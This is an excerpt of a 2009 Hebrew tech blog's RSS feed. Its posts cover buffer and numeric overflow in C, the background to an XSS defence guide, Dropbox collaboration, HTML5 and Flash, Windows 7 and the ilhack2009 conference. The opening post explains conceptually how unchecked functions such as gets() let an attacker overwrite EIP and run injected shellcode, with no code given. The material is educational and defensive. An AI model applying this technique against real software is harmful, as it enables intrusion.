<p>סוג נוסף של גלישה היא הגלישה הנומרית. שבמקרים רבים משעשעת הרבה יותר. כשאנו מתעסקים עם מספרים, הרבה פעמים נצטרך לבחור את סוג המשתנה בו נשתמש &#8211; במקרים רבים &quot;הבחירה הטבעית&quot; Integer (שמספק לנו טווח של בין 32,000- ל- 32,000+)יספיק לנו, ולא נרצה להשקיע מאמץ גדול בבחירת המשתנה. אבל קורה שאנחנו לא מערכים בצורה נכונה את גודל המשתנה את צורת ההצגה שלו וכדומה. במקרים כאלה, נוצרים באגים שנובעים מהכנסה של ערך גדול מדי. במקרים מסוימים, ייכנס הערך המקסימלי אליו יכולנו להגיע. במקרים אחרים, ייכנסו רק מספר הספרות האחרונות, ובכך נאבד חלק חשוב מהמספר אליו התכוונו (ראו ערך <a href="http://he.wikipedia.org/wiki/%D7%91%D7%90%D7%92_2000">באג 2000</a>. מכיוון שהשנים היו מיוצגות בשתי ספרות, לאחר השנה 99 הגיעה השנה 00) או בשיגור של משגר הלוויינים <a href="http://he.wikipedia.org/wiki/%D7%90%D7%A8%D7%99%D7%90%D7%9F_5">אריאן 5</a> (שנחל כישלון, אתם יכולים להניח) תוצאות מוזרות אפילו יותר יכולות להתקבל.</p>
<p><span style="text-decoration: underline;">ידע בשפת C נדרש</span>.</p>
<p>נניח ותוכנית מקבלת כארגומנט מחרוזת, ומשתמשת בפונקציה שאינה מוגנת כדי להכניס אותה למקום בזיכרון. כידוע, בשפת C מחרוזת בנויה כמערך של תווים, ולכן יש צורך לתת לה גודל מוגדר, אך מכיוון שהמחרוזת נקלטת מהמשתמש, אין אנחנו יכולים לדעת בוודאות כי הקלט שנתקבל תקין ועומד בסטנדרטים שנקבעו בתוך התוכנית (למשל, להגביל את המערך במספר התווים). פונקציה לא מוגנת כגון gets(), יכולה לגרום לפרצת אבטחה חמורה אם לא משתמשים בה כראוי. פונקציות נוספות של<span style="background-color: #ffffff; ">א מבצעות בדיקות תקינות הן:</span></p>
<ul>
<li>gets()</li>
<li>memcpy()</li>
<li>strcpy()</li>
</ul>
<p>בצורה הזו, אנו יכולים להכניס אל הזיכרון קטע קוד זדוני שמשפיע על גרעין מערכת ההפעלה (בשפה המקצועית &#8211; Shell Code) ולגרום לכך שהמעבד יריץ את הקוד הזדוני. ניתן לעשות זאת על ידי הכנסת מצביע אל הקוד הזדוני שלנו לאוגר בשם EIP (שעובד על עקרון זהה לזה של PSW &#8211; מכיל בתוכו הצבעה לפקודה הבאה שצריכה להתבצע) ולשם להכניס קטע קוד שייתן לנו הרשאות בצורה מסודרת.</p>
</div>]]></content:encoded>			<wfw:commentRss>http://krooc.info/?feed=rss2&amp;p=178</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>&#8235;מחפש שרת אכסון,&#8236;</title>		<link>http://krooc.info/?p=176</link>
		<comments>http://krooc.info/?p=176#comments</comments>
		<pubDate>Sun, 27 Sep 2009 07:48:36 +0000</pubDate>
		<dc:creator>&#8235;אלון עבאדי&#8236;</dc:creator>				<category><![CDATA[כללי]]></category>

		<guid isPermaLink="false">http://krooc.info/?p=176</guid>
		<description><![CDATA[&#8235;טוב, Godaddy מתחיל להמאס עליי. הוא רחוק ואיטי וזה משהו שאני לא כל כך מצליח להסתדר איתו. יש למישהו המלצות על שרת מהיר, סביר במחיר ואמין? עדיפות לישראלי.&#8236;]]></description>			<content:encoded><![CDATA[<div dir="rtl"><p>טוב, Godaddy מתחיל להמאס עליי. הוא רחוק ואיטי וזה משהו שאני לא כל כך מצליח להסתדר איתו. יש למישהו המלצות על שרת מהיר, סביר במחיר ואמין? עדיפות לישראלי.</p>
</div>]]></content:encoded>			<wfw:commentRss>http://krooc.info/?feed=rss2&amp;p=176</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>&#8235;סטודיו לבניית אתרים בקלות: dropbox ושרת ביתי &#8211; שילוב מנצח&#8236;</title>		<link>http://krooc.info/?p=166</link>
		<comments>http://krooc.info/?p=166#comments</comments>
		<pubDate>Tue, 15 Sep 2009 18:42:10 +0000</pubDate>
		<dc:creator>&#8235;אלון עבאדי&#8236;</dc:creator>				<category><![CDATA[אינטרנט וweb 2.0]]></category>
		<category><![CDATA[dropbox]]></category>
		<category><![CDATA[EasyPHP]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[SQL]]></category>
		<category><![CDATA[אחסון]]></category>
		<category><![CDATA[בניית אתרים]]></category>
		<category><![CDATA[דרופבוקס]]></category>
		<category><![CDATA[מחשבים]]></category>
		<category><![CDATA[סטודיו]]></category>
		<category><![CDATA[ענן]]></category>
		<category><![CDATA[קבצים]]></category>
		<category><![CDATA[שרת ביתי]]></category>
		<category><![CDATA[שרתים]]></category>

		<guid isPermaLink="false">http://krooc.info/?p=166</guid>
		<description><![CDATA[&#8235;אני בטוח שכל מי שקורא את הפוסט הזה ויצא לו לנסות לבנות אתר בצוותא, מה שנקרא &#34;דרך המסנג'ר&#34; מכיר את התופעה: כאשר הפרטנר אינו מוחשי לידך אתה נתקל בהמון קשיים &#8211; קשיי תקשורת ותשתית. האנשים שאני מכיר לרוב בחרו בפתרונות הפשוטים והאינסטינקטיביים לפתרון חלקי של הבעיות האלה. אם זה בעזרת שליחה תמידית של הקבצים עליהם [...]&#8236;]]></description>			<content:encoded><![CDATA[<div dir="rtl"><p>אני בטוח שכל מי שקורא את הפוסט הזה ויצא לו לנסות לבנות אתר בצוותא, מה שנקרא &quot;דרך המסנג'ר&quot; מכיר את התופעה: כאשר הפרטנר אינו מוחשי לידך אתה נתקל בהמון קשיים &#8211; קשיי תקשורת ותשתית. האנשים שאני מכיר לרוב בחרו בפתרונות הפשוטים והאינסטינקטיביים לפתרון חלקי של הבעיות האלה. אם זה בעזרת שליחה תמידית של הקבצים עליהם עובדים דרך תוכנות המסרים המיידיים (מה שגורם לאיטיות וסרבול, ולא פעם לבזבוז זמן כששני הצדדים מעדכנים את הדף בו זמנית) ובין אם זה  פתרון אחר, גם הוא אינסטינקטיבי לא פחות &#8211; לעבוד על שרת משותף, אך לזה חסרון גדול &#8211; שרתים מעצם היותם שרתים הרבה יותר איטיים מאשר עבודה על המחשב. הם גם מספקים הרבה פחות פרטיות ממה שאנחנו רוצים כיאה לפרויקט בתחילת דרכו.</p>
<p>ובכן, בעת עבודתי עם חברי אלירן פאר (הידוע בכינויו &quot;בלוז&quot;), מצאנו פתרון הרבה יותר טוב: התקנו שרת ביתי על שני המחשבים שלנו, בעזרת התוכנה <a href="http://www.easyphp.org/">EasyPHP </a>(אבל אני מניח שכל תוכנת שרת בקלות תעבוד, כמו למשל <a href="http://www.wampserver.com/en/">Wamp</a>, בחרנו בEasyPHP בגלל היכרות מוקדמת עם התוכנה), ואילו את תיקיית השרת שיתפנו על ידי התוכנה <a href="http://www.getdropbox.com/">dropbox</a>.</p>
<p><img class="aligncenter" title="dropbox" src="http://krooc.info/uploads/dropbox.jpg" alt="" width="570" height="100" /></p>
<p><a href="http://www.getdropbox.com/">dropbox </a>היא אולי התוכנה היעילה ביותר שראיתי מזה שנים. התוכנה משתמשת בצבא של שרתי-ענן שמעלים את תוכן התיקיה אותה אנו משתפים באופן תמידי, עם כל עדכון של הקבצים, ומעדכנים את כל המחשבים בקבוצה. ובתרגום לעברית פשוטה: כל שינוי שאני עשיתי בקבצי השרת התעדכן באופן מיידי במחשבו של אלירן, וכך גם להפך. רענון פשוט בדפדפן הציג לי את הגרסא של הקובץ עליה אלירן עבד באותה דקה בדיוק, התראות מודיעות לי כשהוא מעדכן את הקבצים, גיבויים של הקבצים נשמרים באופן אוטומטי והשרתים המהירים גורמים לעבודה להיות חלקה מתמיד.</p>
<p>הבעיה היחידה היא בעבודה עם sql &#8211; לא מצאנו דרך יעילה מספיק לעדכן ולשתף במהירות את אותו המסד, אז החלטנו להתחבר אל שרת חיצוני.</p>
<p>אני בטוח שהעבודה בשיטה הזו תפתח חלון הזדמנויות לעבודה מהירה, בטוחה וקלה יותר לכלל קהילת המפתחים ממנה אני חלק. אני מגיש לכם את הפתרון הזה בעיניים עצומות ובבטחון ואני סמוך ובטוח שהפתרון הזה יעשה את החיים שלכם להרבה יותר קלים.</p>
</div>]]></content:encoded>			<wfw:commentRss>http://krooc.info/?feed=rss2&amp;p=166</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>&#8235;מדריך: התגוננות מפני XSS &#8211; Cross Site Scripting &#8211; הזרקת קוד (חלק 1)&#8236;</title>		<link>http://krooc.info/?p=161</link>
		<comments>http://krooc.info/?p=161#comments</comments>
		<pubDate>Mon, 14 Sep 2009 21:36:30 +0000</pubDate>
		<dc:creator>&#8235;אלון עבאדי&#8236;</dc:creator>				<category><![CDATA[כללי]]></category>
		<category><![CDATA[Cross Site Scripting]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[XSS]]></category>
		<category><![CDATA[אבטחה]]></category>
		<category><![CDATA[אבטחת מידע]]></category>
		<category><![CDATA[הזרקות]]></category>
		<category><![CDATA[הזרקת קוד]]></category>
		<category><![CDATA[הכנסת תוכן]]></category>
		<category><![CDATA[הרשאות]]></category>
		<category><![CDATA[השתלות קוד]]></category>
		<category><![CDATA[השתלת קוד]]></category>
		<category><![CDATA[מדריך]]></category>
		<category><![CDATA[משתמשים]]></category>
		<category><![CDATA[פריצה]]></category>
		<category><![CDATA[פרצות]]></category>
		<category><![CDATA[קוד זדוני]]></category>

		<guid isPermaLink="false">http://krooc.info/?p=161</guid>
		<description><![CDATA[&#8235;הערה: ראשי התיבות האמיתיים של Cross Site Scripting הם כמובן CSS, אבל נהוג לכנות את הנושא XSS מכיוון ש- CSS היא שפת עיצוב הגליונות המוכרת לנו. רקע כולנו היינו רוצים לחיות בעולם מושלם, אבל לצערנו הרבה פעמים המציאות טופחת לנו על הפנים, ומלמדת אותנו שכמעט אף פעם אי אפשר לסמוך על המשתמשים שלנו. פרצות אבטחה [...]&#8236;]]></description>			<content:encoded><![CDATA[<div dir="rtl"><p>הערה: ראשי התיבות האמיתיים של Cross Site Scripting הם כמובן CSS, אבל נהוג לכנות את הנושא XSS מכיוון ש- CSS היא שפת עיצוב הגליונות המוכרת לנו.</p>
<p><strong>רקע</strong></p>
<p>כולנו היינו רוצים לחיות בעולם מושלם, אבל לצערנו הרבה פעמים המציאות טופחת לנו על הפנים, ומלמדת אותנו שכמעט אף פעם אי אפשר לסמוך על המשתמשים שלנו. פרצות אבטחה כדוגמת <a href="http://krooc.info/?p=55">SQL INJECTIONS</a> (וגם XSS שאותו ואת מעלליו נכיר היום), הן תוצאה של אמון מופרז במשתמשים. הרי מי חשב כשפותחו הפרוטוקולים הישנים שהמשתמשים ינסו להחדיר לנו קוד זדוני אל האתר?</p>
<p>Cross Site Scripting היא שם כולל לפרצות האבטחה שמנצלות את האמון שנותנים במשתמשים אתרים ומשתמשות בקוד זדוני כדי לגנוב סיסמאות ממשתמשים אחרים, כדי לגנוב את זהותם (גניבת עוגיות היא עסק נפוץ) וכו'. יש לציין שפרצות XSS נכתבות בשפות שהן צד-לקוח (ובראשן Javascript, שפת צד-לקוח קלילה ללימוד שמורצת בדפי אינטרנט פשוטים לגמרי ועם זאת חזקה מאוד בשימוש נכון), כך שהאשמים העיקריים בפרצות אלו הם אתר האינטרנט שהרשה את ההעלאה של הקוד והדפדפן, שפירש את הקוד, חשב שהוא לגיטימי והריץ אותו.</p>
<p>הקוד מפורש על ידי הדפדפן של המשתמש כקוד לגיטימי לכאורה, אך בעצם משפיע על הגדרות הדפדפן של המשתמשים או גונב סיסמאות. דוגמא קלסית הוא אתר האינטרנט ישראבלוג שהפסיק לחלוטין את השימוש בעוגיות בגלל פרצת Cross Site Scripting &#8211; XSS &#8211; שהועלתה בתור תוכן לגיטימי לבלוג, ונתגלתה כ&quot;גונבת עוגיות&quot;. כתוצאה מכך, משתמשים נפרצו והחלו לפרסם רשומות שלא הם כתבו.</p>
<p><strong>פתח דבר</strong></p>
<p>בעבר ניתנו לקוד שהורץ מאתר במופע פתוח של הדפדפן לגשת למידע של כל האתרים שהיו פתוחים באותו רגע. כך למשל היו נגנבים פרטי חשבון באתר מאובטח כלשהו (נניח גוגל) בגלל גלישה באתר זדוני. היום, הדבר קשה הרבה יותר מכיוון שכל אתר יכול לגשת למידע ולעוגיות מאותו מקור ובאותו פרוטוקול.</p>
</div>]]></content:encoded>			<wfw:commentRss>http://krooc.info/?feed=rss2&amp;p=161</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>&#8235;Html 5, Java, Flash, Silverlight &#8211; מה טומן העתיד לאפליקציות הדפדפן?&#8236;</title>		<link>http://krooc.info/?p=158</link>
		<comments>http://krooc.info/?p=158#comments</comments>
		<pubDate>Sun, 28 Jun 2009 03:33:08 +0000</pubDate>
		<dc:creator>&#8235;אלון עבאדי&#8236;</dc:creator>				<category><![CDATA[אינטרנט וweb 2.0]]></category>
		<category><![CDATA[Adobe Flash]]></category>
		<category><![CDATA[Canvas]]></category>
		<category><![CDATA[Flash]]></category>
		<category><![CDATA[HTML 5]]></category>
		<category><![CDATA[Open Web]]></category>
		<category><![CDATA[Video]]></category>
		<category><![CDATA[אדובי]]></category>
		<category><![CDATA[אינטרנט]]></category>
		<category><![CDATA[כללי]]></category>
		<category><![CDATA[סילברלייט]]></category>
		<category><![CDATA[עתיד]]></category>
		<category><![CDATA[פלאש]]></category>

		<guid isPermaLink="false">http://krooc.info/?p=158</guid>
		<description><![CDATA[&#8235;כשכל הדפדפנים יתמכו בכל התקנים, ותתקיים איזושהי אחידות נהדרת בין כל הדפדפנים הנפוצים בשוק, השוק יהיה בשל לעזוב את פלאש אחת ולתמיד, ולעבור אל HTML 5, שמעובדת על ידי הדפדפן בלבד.&#8236;]]></description>			<content:encoded><![CDATA[<div dir="rtl"><p>הכותרת של הפוסט הזה מעט משקרת. מנקודת המבט הלא כל כך אוביקטיבית אבל עדיין נכונה, ברור שזה רק עניין של זמן עד שכל תוספי המולטימדיה לדפדפן (ובינם אדובי פלאש, <a href="http://silverlight.net/">סילברלייט</a> וג'אווה אפקטס) ייעלמו לחלוטין. זה יקרה, כמובן, כשכל הדפדפנים יתמכו בכל התקנים, ותתקיים איזושהי אחידות נהדרת בין כל הדפדפנים הנפוצים בשוק. כזו שתגרום לנו, המעצבים והמפתחים של אתרי האינטרנט, לעבוד הרבה פחות קשה בנסיון נואש להתאים את האתר לכל הטכנולוגיות הקיימות כיום בשוק.</p>
<p>בעוד היום תוספים כמו פלאש או ג'אווה נראים לנו טריוויאליים לחלוטין (<a href="http://silverlight.net/">סילברלייט</a> קצת נכשלה בעניין הזה), בעתיד נראה שתוספים אלו יאבדו מהמשמעות (ומהצורך) שלהם. Open Web הולך ותופס תאוצה (כחלק מהעניין, אפשר לראות אתרים המציעים שירותים שבעבר היינו מורידים תוכנות בדיוק בשבילן) והדפדפן מוכיח שהוא יכול לעשות את כל מה שעושים התוספים &#8211; גם לבד, והאמת שגם בלי להתאמץ יותר מדי.</p>
<p>בעבר, היה זה עדיף מבחינתך לא לציין את העובדה שאתה יודע HTML. השפה נתפסה כשפה מיושנת, ככלי חסר ערך ובצדק. את הדברים הגדולים ביותר, כמו הטפסים, האנימציות, העיצוב &#8211; לקחו ממנו. HTML 5, כך מסתמן, הולך להחזיר את הכבוד האבוד של HTML, בתכונות שלא מאכזבות את יכולותיה של פלאש 7 (שיצאה בשנת 2003). האמת היא, שכבר היום אנחנו יכולים לראות חלק מהיכולות של HTML 5 אצלנו בדפדפני &quot;הדור הבא&quot;, למשל Firefox 3 או Internet Explorer 8. אפשר לראות כבר היום את השימוש בתג הנהדר Canvas, שמאפשר לנו לראשונה להציג תלת מימד שנבנה בדפדפן, למשל.</p>
<p>אולי עדיף שלפני שאתחיל לשפוך ולהסביר למה בעוד כמה שנים לא נדע יותר מה זה פלאש, נביא את הטענה ההפוכה. אדובי טוענת שאין לה ממה לחשוש משתי סיבות עיקריות: הראשונה היא ההיכרות והנוחות של המשתמשים עם פלאש (אפשר אפילו לקרוא לזה שמרנות) והשניה, היא שעד שייצא אל אוויר העולם יעברו עוד מספר לא מבוטל של שנים (כרגע הוא מתוכנן לצאת ב2012), ועד אז יכולותיה של פלאש יהיו אפילו יותר גדולות.</p>
<p>מנגד, עומדים האנשים הריאליים שכבר למדו מנסיון העבר. הגמוניה היא לא אינסופית. הספקנים יכולים להסתכל על הכשלון החרוץ של דפדפן נטסקייפ כדוגמא &#8211; כשהגיעה אלטרנטיבה טובה יותר, היא חטפה את השוק בסערה. נכון, אתרים כמו YouTube עדיין משתמשים בטכנולוגיה של פלאש, אך מסתמנות אלטרנטיבות שהן לא בהכרח רעות. אחת מהן היא טכנולוגיית סילברלייט, שכרגע מתמקדת בהעברת סרטוני וידאו באיכות גבוהה עד גבוהה מאוד ביעילות. השניה היא HTML 5, שמציג לראשונה את תג Video שיעשה את החיים של כולנו הרבה יותר קלים.</p>
<p>הסיבה השניה מעט יותר ריאלית, וייתכן שיכולותיה של HTML 5 באמת יהיו מעט מיושנות יחסית לזמנן. אבל חשוב לזכור שעל מנת להציג את הטכנולוגיה הזו לא נצטרך שום תוסף, פן שמקנה לטכנולוגיה ייתרון מאוד מוחשי. בנוסף, טכנולוגיית HTML 5 כל הזמן מתפתחת, ועם דחיפה מספיק טובה של קהילת המפתחים העולמית או קהילת המשתמשים העולמית, ההשתלטות תהיה מהירה ותכאב רק קצת.</p>
</div>]]></content:encoded>			<wfw:commentRss>http://krooc.info/?feed=rss2&amp;p=158</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>&#8235;קצת על אדובי פלאש&#8236;</title>		<link>http://krooc.info/?p=143</link>
		<comments>http://krooc.info/?p=143#comments</comments>
		<pubDate>Fri, 12 Jun 2009 16:48:31 +0000</pubDate>
		<dc:creator>&#8235;אלון עבאדי&#8236;</dc:creator>				<category><![CDATA[אינטרנט וweb 2.0]]></category>
		<category><![CDATA[כללי]]></category>
		<category><![CDATA[תוכנות וקוד פתוח]]></category>
		<category><![CDATA[Action Script]]></category>
		<category><![CDATA[Adobe]]></category>
		<category><![CDATA[Flash]]></category>
		<category><![CDATA[JavaFX]]></category>
		<category><![CDATA[Macromedia Flash]]></category>
		<category><![CDATA[Shockwave Flash]]></category>
		<category><![CDATA[Silverlight]]></category>
		<category><![CDATA[swf]]></category>
		<category><![CDATA[ג'אווה]]></category>
		<category><![CDATA[וקטורים]]></category>
		<category><![CDATA[מייקרוסופט]]></category>
		<category><![CDATA[סילברלייט]]></category>

		<guid isPermaLink="false">http://krooc.info/?p=143</guid>
		<description><![CDATA[&#8235;ההיסטוריה של Adobe Flash ארוכה ומפותלת. תוכנת המולטימדיה התחילה בשנות התשעים בתור ShockWave Flash (והפכה מאוחר יותר לMacromedia Flash), התפתחה עם השנים והפכה לסטנדרט המקובל להצגת אנימציות, סרטונים, משחקים וכו' ברשת. מכיוון שהטכנולוגיה מבוססת על גרפיקה וקטורית (בשונה מגרפיקה פיקסלית, תמונת מפת סיביות), הקבצים שנעשים בה יכולים להיות מוגדלים (פיזית, להימתח) מבלי לאבד את האיכות, [...]&#8236;]]></description>			<content:encoded><![CDATA[<div dir="rtl"><p>ההיסטוריה של <a href="http://www.adobe.com">Adobe Flash</a> ארוכה ומפותלת. תוכנת המולטימדיה התחילה בשנות התשעים בתור ShockWave Flash (והפכה מאוחר יותר לMacromedia Flash), התפתחה עם השנים והפכה לסטנדרט המקובל להצגת אנימציות, סרטונים, משחקים וכו' ברשת.</p>
<p>מכיוון שהטכנולוגיה מבוססת על <a href="http://he.wikipedia.org/wiki/%D7%92%D7%A8%D7%A4%D7%99%D7%A7%D7%94_%D7%95%D7%A7%D7%98%D7%95%D7%A8%D7%99%D7%AA">גרפיקה וקטורית</a> (בשונה <a href="http://he.wikipedia.org/wiki/%D7%AA%D7%9E%D7%95%D7%A0%D7%AA_%D7%9E%D7%A4%D7%AA_%D7%A1%D7%99%D7%91%D7%99%D7%95%D7%AA">מגרפיקה פיקסלית</a>, תמונת מפת סיביות), הקבצים שנעשים בה יכולים להיות מוגדלים (פיזית, להימתח) מבלי לאבד את האיכות, תוך כדי שמירה על מימדי קובץ קטנים יחסית. לסרטוני ומשחקי פלאש אפשר לצרף גם וידאו ואודיו, והם מיוצאים בסופו של דבר בפורמט swf.</p>
<p>בחו&quot;ל טכנולוגיית פלאש כבר מקובלת בתור הסטנדרט הפשוט להצגת וידאו באתרים (נגני וידאו נפוצים היום כמעט כמו תמונות) אפשר לראות זאת באתרים כמו CBS או YOUTUBE שפועלים אך ורק על טכנולוגיית פלאש, שתומכת בכל הדפדפנים ומתרחקים (כמו מאש!) מטכנולוגיות מפוקפקות כמו Cast-UP. בארץ, המצב הפוך. אתרים כמו Y-net, וואלה או נענע10 שמהווים דוגמא לאתרים אחרים מתעקשים לשמור על הנגן המעצבן Cast-UP בניגוד לכל מחשבה הגיונית, ולזנוח את טכנולוגיית פלאש. Cast-UP, יש לציין, מוכרת בבעיות התאימות שהיא יוצרת בין הדפדפנים (בעיה שאינה קיימת כלל בפלאש) ובסיבוכה. הייתרון הגדול שלה הוא שלא ניתן (לפחות לא בקלות) למצוא את נתיב הוידאו המקורי שהוקרן, ולכן אי אפשר להוריד (שוב, בקלות) את הסרטונים המוצגים בקאסט-אפ.</p>
<p>העתיד של טכנולוגיית פלאש לא ברור. טכנולוגיות כמו SilverLight של מייקרוסופט או JavaFX של סאן בהחלט מטילות איזשהו צל על העתיד (או יותר נכון, המשך המונופול המוחלט של פלאש ברשת). מצד אחד, תחרות היא נהדרת. אך מצד שני, תחרות גם תגרום לחוסר אחידות ולכך שלנו, בוני האתרים, תהיה יותר עבודה בהתאמה של התכנים באתר למערכות שונות. בנוסף, בHTML 5 שמגיע אלינו לטובה קיים תג Canvas, המאפשר ציור קליל בעזרת ג'אווה סקריפט אל תוך עמודי HTML. כיום הציור לא כל כך ציור ולא כזה קליל, אבל להמר על Canvas בתור העתיד אליו ישאף הדפדפן זה לא הימור מסוכן בכלל.</p>
</div>]]></content:encoded>			<wfw:commentRss>http://krooc.info/?feed=rss2&amp;p=143</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>&#8235;חלונות 7 &#8211; מרשים.&#8236;</title>		<link>http://krooc.info/?p=134</link>
		<comments>http://krooc.info/?p=134#comments</comments>
		<pubDate>Fri, 12 Jun 2009 15:58:36 +0000</pubDate>
		<dc:creator>&#8235;אלון עבאדי&#8236;</dc:creator>				<category><![CDATA[כללי]]></category>
		<category><![CDATA[תוכנות וקוד פתוח]]></category>
		<category><![CDATA[Windows]]></category>
		<category><![CDATA[Windows7]]></category>
		<category><![CDATA[ווינדואז]]></category>
		<category><![CDATA[חלונות 7]]></category>
		<category><![CDATA[מייקרוסופט]]></category>
		<category><![CDATA[מערכות הפעלה]]></category>

		<guid isPermaLink="false">http://krooc.info/?p=134</guid>
		<description><![CDATA[&#8235;סוף השבוע הזה היה מרגש במיוחד. RC של חלונות 7 עובד לי על המחשב בצורה נהדרת. בסופו של יום אני יכול להגיד בלב כמעט שלם שחלונות 7 היא מערכת ההפעלה הבאה, מכל הבחינות. מייקרוסופט הצליחו לקנות את האמון שלי עם מערכת הפעלה נוחה, ידידותית, יציבה, תומכת לאחור וכמובן &#8211; יפייפיה. הגרסא הנוכחית מתפארת בעיצוב דמוי [...]&#8236;]]></description>			<content:encoded><![CDATA[<div dir="rtl"><p>סוף השבוע הזה היה מרגש במיוחד. RC של חלונות 7 עובד לי על המחשב בצורה נהדרת. בסופו של יום אני יכול להגיד בלב כמעט שלם שחלונות 7 היא מערכת ההפעלה הבאה, מכל הבחינות. מייקרוסופט הצליחו לקנות את האמון שלי עם מערכת הפעלה נוחה, ידידותית, יציבה, תומכת לאחור וכמובן &#8211; יפייפיה.</p>
<div class="mceTemp mceIEcenter">
<dl class="wp-caption aligncenter" style="width: 580px;">
<dt class="wp-caption-dt"><img title="חלונות Windows 7" src="http://www.krooc.info/uploads/windows7screenshot.jpg" alt="חלונות Windows 7" width="570" height="456" /></dt>
</dl>
</div>
<p>הגרסא הנוכחית מתפארת בעיצוב דמוי ויסטה (חכו! חכו!), עם שינויים אחדים &#8211; באייקונים, בשקיפויות, בממשק וערכות העיצוב. הגרסא מגיעה עם סדרת רקעים עוצרי נשימה לשולחן העבודה, שאת חלקם פרסמתי כאן בבלוג. מעבר לזה, כל שטיק (וזו אולי נקודה שעובדת קצת לרעת החבר'ה במייקרוסופט) מאופקט (מלשון &#8211; מכיל אפקטים), אבל יש לציין שיש מקומות שבהן האפקטים לא יכלו לבוא בצורה טובה יותר, כמו לדוגמא ב<a title="סוליטר בחלונות 7" href="http://www.youtube.com/watch?v=1eihjH4sUVw" target="_blank">סיום משחק סוליטר</a>. גם ממשקי ההגדרות בכל מקום שונו (טוב, אולי לא <em>בכל</em> מקום), ועכשיו הם גדולים ונוצצים, מה שמתגלה כאסוציאטיבי ונוח למדי.</p>
<p>הכלים החדשים-ישנים, כמו הצייר הנוסטלגי והכתבן השתדרגו בצורה מטורפת, וקיבלו ממשק דמוי &#8211; אופיס 2007, המכיל תכונות חדשות (הכתבן ממש הפך למיני וורד), והעלו את היעילות שלהם פלאים. בנוסף, המערכת תומכת בכל תוכנה שהרצתי עליה. זה לא המקרה של ויסטה בו תוכנות לא עבדו עליו כשתוכננו לאקספי. כאן תוכנות עובדות, גם אם תוכננו לאקספי ובעיקר אם הן תוכננו לויסטה.</p>
<p>אי אפשר להגיד שהגרסא נטולת באגים לגמרי. היא לא. אבל הם כל כך שוליים, וכל כך קטנים, שהם כל לא משנים את חוויית המשתמש המצוינת. לי יש רק דברים טובים להגיד על חלונות 7..</p>
</div>]]></content:encoded>			<wfw:commentRss>http://krooc.info/?feed=rss2&amp;p=134</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>&#8235;כנס ilhack2009 &#8211; סיכום חוויות&#8236;</title>		<link>http://krooc.info/?p=126</link>
		<comments>http://krooc.info/?p=126#comments</comments>
		<pubDate>Wed, 27 May 2009 19:10:39 +0000</pubDate>
		<dc:creator>&#8235;אלון עבאדי&#8236;</dc:creator>				<category><![CDATA[אינטרנט וweb 2.0]]></category>
		<category><![CDATA[אלון ("הקרוק") עבאדי]]></category>
		<category><![CDATA[כללי]]></category>
		<category><![CDATA[ilhack]]></category>
		<category><![CDATA[Networking]]></category>
		<category><![CDATA[VoIP]]></category>
		<category><![CDATA[האקינג]]></category>
		<category><![CDATA[כנס]]></category>
		<category><![CDATA[תל אביב]]></category>

		<guid isPermaLink="false">http://krooc.info/?p=126</guid>
		<description><![CDATA[&#8235;ביום ראשון הצלחתי לצאת לכמה שעות לכנס ilhack2009 במרכז הכנסים &#34;בית ציוני אמריקה&#34; בתל אביב. יצאתי לדרך בערך בשעה שבע, והתוצאה הייתה שבשעה שבע וארבעים כבר הייתי בכנס. הכנס אורגן בצורה נהדרת - הוא היה מחולק לשני חלקים &#8211; משחקי Wargames בהם יכלו לבחון את הידע שלהם האקרים (ולהציע את עצמם לעבודה ב&#34;הרשות הממלכתית לאבטחת מידע&#34; &#8211; חושבים שאתם [...]&#8236;]]></description>			<content:encoded><![CDATA[<div dir="rtl"><p>ביום ראשון הצלחתי לצאת לכמה שעות לכנס ilhack2009 במרכז הכנסים &quot;בית ציוני אמריקה&quot; בתל אביב. יצאתי לדרך בערך בשעה שבע, והתוצאה הייתה שבשעה שבע וארבעים כבר הייתי בכנס. הכנס אורגן בצורה נהדרת - הוא היה מחולק לשני חלקים &#8211; משחקי Wargames בהם יכלו לבחון את הידע שלהם האקרים (ולהציע את עצמם לעבודה ב&quot;הרשות הממלכתית לאבטחת מידע&quot; &#8211; <a href="http://iamverygood.notlong.com" target="_blank">חושבים שאתם מספיק טובים?</a>), והרצאות, ש<a href="http://www.newsgeek.co.il/ilhack-2009/" target="_blank">על פי יניב מירון</a> תוכננו להיות הרצאות מעניינות ועל נושאים חדשים. הכנס, המאוד מרשים יחסית לארגון פרטי, אורגן על ידי <a href="http://www.ilhack.org" target="_blank">יניב מירון</a>, יוצא יחידת ממר&quot;מ, שהחליט שהמצב בארץ &#8211; לא התקיים בארץ כנס האקינג מזה חמש שנים &#8211; לא מקובל על הדעת. מסכים.</p>
<p>יניב מבטיח שהמסורת שהתחלנו השנה לא תגווע, ואכן, עם היענות מרשימה של כ-300 איש, אפשר להגיד שקהילת ההאקרים הישראלית לא שכחה איך הדברים מתנהלים בשנים בהן היא הייתה בפגרה. נתראה בכנס של שנה הבאה.</p>
<div class="wp-caption alignnone" style="width: 580px"><img title="כנס ilhack2009" src="http://krooc.info/wp-content/uploads/2009/05/1.jpg" alt="כנס ilhack2009" width="570" height="321" /><p class="wp-caption-text">אולם משחקי המלחמה, בשעת מלחמה</p></div>
<div class="wp-caption alignnone" style="width: 580px"><img title="הלוחמים האמיצים" src="http://krooc.info/wp-content/uploads/2009/05/2.jpg" alt="כנס ilhack2009" width="570" height="321" /><p class="wp-caption-text">הלוחמים האמיצים</p></div>
<div class="wp-caption alignnone" style="width: 580px"><img title="מארגן הכנס, יניב מירון, ומאחוריו - עמדת הדיגיי" src="http://krooc.info/wp-content/uploads/2009/05/3.jpg" alt="מארגן הכנס, יניב מירון, ומאחוריו - עמדת הדיגיי" width="570" height="299" /><p class="wp-caption-text">מארגן הכנס, יניב מירון, ומאחוריו - עמדת הדיג&#39;יי</p></div>
<div class="wp-caption alignnone" style="width: 580px"><img title="אולם ההרצאות" src="http://krooc.info/wp-content/uploads/2009/05/4.jpg" alt="הרצאה על VoIP" width="570" height="321" /><p class="wp-caption-text">הרצאה על VoIP</p></div>
